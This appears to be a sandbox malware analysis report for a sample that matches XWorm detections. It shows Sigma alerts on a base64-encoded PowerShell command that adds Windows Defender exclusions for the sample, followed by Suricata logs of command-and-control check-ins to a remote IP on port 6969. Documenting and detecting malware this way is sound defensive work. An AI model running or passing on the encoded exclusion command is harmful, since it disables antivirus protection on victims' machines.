Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\b39wW3jYKO.exe", ParentImage: C:\Users\user\Desktop\b39wW3jYKO.exe, ParentProcessId: 6412, ParentProcessName: b39wW3jYKO.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\b39wW3jYKO.exe", ParentImage: C:\Users\user\Desktop\b39wW3jYKO.exe, ParentProcessId: 6412, ParentProcessName: b39wW3jYKO.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4

Suricata Signatures

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T00:23:06.941004+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:23:12.347752+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:23:19.705273+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:23:32.761969+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:23:42.378257+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:23:45.595824+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:23:53.174489+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:01.249800+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:06.549829+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:06.612323+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:09.206233+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:12.381741+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:17.744448+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:22.472275+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:23.125089+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:24.530533+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:29.469124+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:29.502295+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:31.377348+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:35.536933+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:40.926137+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:42.396798+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:45.756387+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:45.773329+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:45.798311+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:45.802222+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:45.849467+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:45.958962+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:24:52.812004+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:01.103272+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:03.814749+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:12.386381+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:16.752956+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:21.628026+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:21.704476+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:21.776924+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:21.788715+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:24.812640+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:30.748080+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:32.538794+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:42.413793+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:44.001796+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:45.099249+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:47.658123+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:54.221084+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:54.320976+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:54.365522+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:54.455340+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:54.558358+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:55.060187+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:25:55.601741+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:00.050392+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:00.101835+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:00.143069+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:00.199346+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:00.260701+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:00.351120+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:06.811919+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:10.493265+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:12.034898+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:12.096656+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:12.383469+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:12.758266+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:17.719099+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:20.535485+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:29.032624+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:42.092412+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP
2024-10-17T00:26:42.382988+0200	2852870	1	Malware Command and Control Activity Detected	104.219.239.11	6969	192.168.2.6	49809	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T00:22:58.756750+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:58.868312+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:58.980482+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.087171+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.200778+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.326211+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.431434+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.545732+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.649937+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.759677+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.868781+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:22:59.977484+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.091605+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.197078+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.305782+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.585708+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.737184+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.854379+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:00.961972+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:01.071482+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:01.182029+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:01.290048+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:01.412724+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49841	104.219.239.11	6969	TCP
2024-10-17T00:23:06.942766+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:23:19.707126+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:23:32.764891+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:23:45.597366+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:23:53.177333+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:01.251151+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:06.551647+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:06.614057+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:09.209077+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:17.746690+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:22.474606+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:23.133624+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:24.535967+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:29.473465+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:29.503624+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:31.460547+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:35.539250+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:40.928694+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:45.758473+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:45.774939+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:45.799751+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:45.849523+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:45.902707+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:45.962327+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:24:52.829660+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:01.108741+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:03.816459+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:16.756797+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:21.630224+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:21.706613+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:21.779140+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:21.790917+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:24.814452+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:30.752716+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:32.589358+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:44.004008+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:45.104691+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:47.666606+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:54.225880+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:54.323404+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:54.414900+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:54.457085+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:54.559955+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:55.065314+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:25:55.605482+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:00.052820+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:00.190850+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:00.200905+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:00.262372+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:00.315575+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:00.353067+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:06.813894+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:10.495422+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
2024-10-17T00:26:12.037201+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49809	104.219.239.11	6969	TCP
